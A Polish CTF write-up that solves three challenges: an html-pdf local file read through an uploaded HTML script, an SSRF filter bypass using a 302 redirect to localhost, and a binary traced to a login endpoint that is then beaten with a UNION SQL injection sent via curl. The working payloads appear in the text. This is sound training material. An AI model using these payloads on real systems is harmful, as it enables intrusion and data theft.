CTF - time2hack, writeups

Jakiś czas temu brałem udział w konkursie typu CTF organizowanym przez Agencje Wywiadu. Poniżej przedstawiam opis moich rozwiązań kilku ciekawszych zadań, które były dostępne na stronie konkursu.

1. SecureDocuments

Na specjalnie przygotowanej stronie dostępny mamy formularz gdzie możemy przekazać plik, który następnie zostanie umieszczony na serwerze. Oprócz tego mamy również dostęp do kodów źródłowych aplikacji.

~/securedocuments$ ls *
docker-compose.yml  Dockerfile  flag.txt

app:
app.py  requirements.txt  storage  templates
securedocuments.zip

Podstawowe informacje na temat używanych technologii znajdziemy w pliku 'Dockerfile' używanym do budowania obrazów kontenera Docker.

FROM node:stretch

RUN apt-get update && \
	apt-get install python3 python3-pip gcc -y

WORKDIR /var/app
ENV FLASK_APP=app.py
ENV FLASK_RUN_HOST=0.0.0.0
ENV LC_ALL=C.UTF-8
ENV LANG=C.UTF-8

COPY ./app/ ./
COPY flag.txt /flag.txt

RUN python3 -m pip install -r requirements.txt
EXPOSE 5000

RUN npm install -g html-pdf

CMD ["flask", "run"]
Dockerfile

Tutaj widzimy, że używana jest technologia Flask jako framework aplikacji webowych gdzie plik główny zdefiniowany jest jako zmienna środowiskowa 'FLASK_APP'. Oprócz tego używane są różne biblioteki zawarte w pliku 'requirements.txt' oraz biblioteka 'html-pdf' napisana dla środowiska Node.JS.

Kilka wniosków po krótkim przenalizowaniu kodu źródłowego samej aplikacji:

app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 2 * 1024 * 1024
app.config['UPLOAD_EXTENSIONS'] = ['.html', '.txt', '.md', '.jpg', '.png']
app.config['UPLOAD_PATH'] = 'storage'
app.py

Mamy zdefiniowanych kilka rozszerzeń plików, które akceptowane są przez serwer (.html, .txt, .md, .jpg, .png) oraz ciekawą funkcje o nazwie 'convert()', która konwertuje nasz plik z rozszerzeniem '.html' do pliku '.pdf' z wykorzystaniem biblioteki 'html-pdf'.

if file_ext == '.html':
            os.system('html-pdf ./' + file + ' ' + new_file)
            return 'File conversion completed - <a href="/">Go Back</a>', 200
app.py

Po krótkiej analizie udało mi się znaleźć ciekawą informacje na temat błędu, który występował jakiś czas temu w tej bibliotece opisanym jako - 'Arbitrary File Read'

Skrypt, który odczytywał plik 'flag.txt' wyglądał następująco:

<script>
    x=new XMLHttpRequest;
    x.onload=function(){  
    document.write(this.responseText)
};
    x.open("GET","file:///flag.txt");
    x.send();
</script>
exploit.html

Po przekazaniu skryptu w formacie '.html' a następnie przekonwertowaniu pliku do postaci '.pdf' przy pomocy dostępnej na stronie funkcjonalności pozwoliło na odczytanie pliku 'flag.txt' gdzie zawarty był kod potrzebny do zdobycia punktów.


2. CheckMe

Po przeczytaniu krótkiego opisu i sprawdzeniu dostępnej strony dla tego zadania można było wywnioskować, że informacje potrzebne do ukończenia znajdują się na serwerze dostępnym tylko w intranecie. Formularz dostępny na stronie pozwalał na wprowadzenie dowolnego adresu URL, który identyfikował schemat typu HTTP lub HTTPS a następnie pobierał i wyświetlał zawartość tego zasobu.

Również tutaj dostępne są dla nas kody źródłowe aplikacji z których możemy się dowiedzieć dużo ciekawych informacji.

FROM ubuntu:20.04

RUN apt-get update && \
	DEBIAN_FRONTEND=noninteractive apt-get install python3 python3-pip gcc ssh nginx -y

WORKDIR /var/app
ENV FLASK_APP=app.py
ENV FLASK_RUN_HOST=0.0.0.0
ENV LC_ALL=C.UTF-8
ENV LANG=C.UTF-8

COPY ./start.sh ./start.sh
COPY ./app/ ./
COPY default.conf /etc/nginx/sites-available/default
COPY index.html /var/www/html/index.html

RUN python3 -m pip install -r requirements.txt
EXPOSE 5000

CMD ["bash", "./start.sh"]
Dockerfile
nginx -g 'daemon off;' & 
flask run
start.sh
server {
        listen 127.0.0.1:80;

        root /var/www/html;

        index index.html index.htm index.nginx-debian.html;

        server_name _;

        location / {
                try_files $uri $uri/ =404;
        }

}
default.conf
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Secure Internal Something</title>
</head>
<body>
    Authorized Access Only - 127.0.0.1 Internal Server
    This month flag is: CTF{REDACTED}
</body>
</html>
index.html

Na podstawie wyżej wymienionych plików możemy wywnioskować, że flaga potrzebna do ukończenia zadania znajduje się w pliku 'index.html' który znajduje się na serwerze WWW - nginx (start.sh) nasłuchującym tylko na lokalnym adresie - '127.0.0.1' i standardowym porcie '80' (default.conf).

Niestety wprowadzenie w formularzu adresu lokalnego nie jest możliwe gdyż otrzymujemy następujący komunikat  - 'Our company network is restricted' co widać również w kodzie aplikacji.

ip = socket.gethostbyname(parsed_addr.netloc.split(':')[0])
if ip == '127.0.0.1' or ip == '0.0.0.0':
	return render_template('index.html', site_response='Our company network is restricted') 
app.py

Jednym ze sposób ominięcia tego typu zabezpieczenia jest możliwość wskazania serwera WWW, który serwować będzie nagłówek HTTP 302 dzięki czemu możemy przekierować żądanie na lokalny adres.

HTTP/1.1 302
Location: http://127.0.0.1

Możemy skorzystać w wyszukiwarki shodan żeby znaleźć serwer, który odpowiada w ten sposób lub skonfigurować nasz własny na publicznym adresie. Wskazanie w formularzu na specjalnie spreparowany serwer pozwoliło na odczytanie kolejnej flagi potrzebnej do ukończenia zadania.


3. DBClient

W tym zadaniu dostępny mamy tylko załącznik oraz krótki opis.

The application in the attachment had being used to connect to a company's database. After migrating to CloudFlare, the application was abandoned. Can you check if it's still usable?

Sprawdzamy jaki typ informacji jest zawarty w pobranym pliku.

~$ file dbclient
dbclient: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=a23d41fc95ff311edd25fdbb90604df5103d8cd9, for GNU/Linux 3.2.0, stripped

Mamy tutaj plik typu ELF czyli format pliku wykonywalnego używanego na systemach Linux. Aplikacja przyjmuje dwa parametry 'username' oraz 'password' których nie znamy..

./dbclient
Usage: ./dbclient <username> <password>

Najprostszą metodą aby sprawdzić co robi program było użycie polecenia strace aby prześledzić wywołania systemowe oraz sygnały używane podczas działania aplikacji.

sendto(4, "1\263\1\0\0\1\0\0\0\0\0\0\16secretdatabase\16pleasehackthis\4site\0\0\1\0\1", 52, MSG_NOSIGNAL, NULL, 0) = 52

Widzimy tutaj wywołanie funkcji sendto, która służy do komunikacji przez gniazda strumieniowe lub połączone gniazda datagramowe. Aplikacja próbuje połączyć się z hostem 'secretdatabase.pleasehackthis.site' który nie zwraca żadnej odpowiedzi..

Kolejnym krokiem aby dowiedzieć się coś więcej na temat analizowanej aplikacji było wykorzystanie polecenia gcore, które służy do wykonywania zrzutu pamięci aplikacji.

~$ ./dbclient admin admin | gcore -a $(pidof dbclient)
0x00007f0980bf2461 in read () from /lib/x86_64-linux-gnu/libc.so.6
warning: target file /proc/17142/cmdline contained unexpected null characters
Saved corefile core.17142
[Inferior 1 (process 17142) detached]

Wygenerowany zrzut pamięci (core.17142) możemy teraz przeszukać pod kątem interesujących drukowalnych sekwencji znaków przy pomocy polecenia strings.

~$ strings core.17142 | grep GET
GET /login.php?u=%s&p=%s HTTP/1.0

Wykonanie zapytania HTTP z informacjami, które udało się wcześniej zdobyć zwróciło informacje na temat nieprawidłowego hasła dla użytkownika admin.

~$ curl "https://secretdatabase.pleasehackthis.site/login.php?u=admin&p=admin"
Wrong password for user admin!

Ostatecznym rozwiązaniem zadania było wykorzystanie metody SQL Injection z wykorzystaniem następującego payload:

admin' AND 1=2 union select 1,'admin','81dc9bdb52d04dc20036dbd8313ed055'-- x&p=1234
~$ curl "https://secretdatabase.pleasehackthis.site/login.php?u=admin%27%20AND%201=2%20union%20select%201,%27admin%27,%2781dc9bdb52d04dc20036dbd8313ed055%27--%20x&p=1234"
Welcome admin! You have one message: CTF{0l0f4rt9p4yb4ck}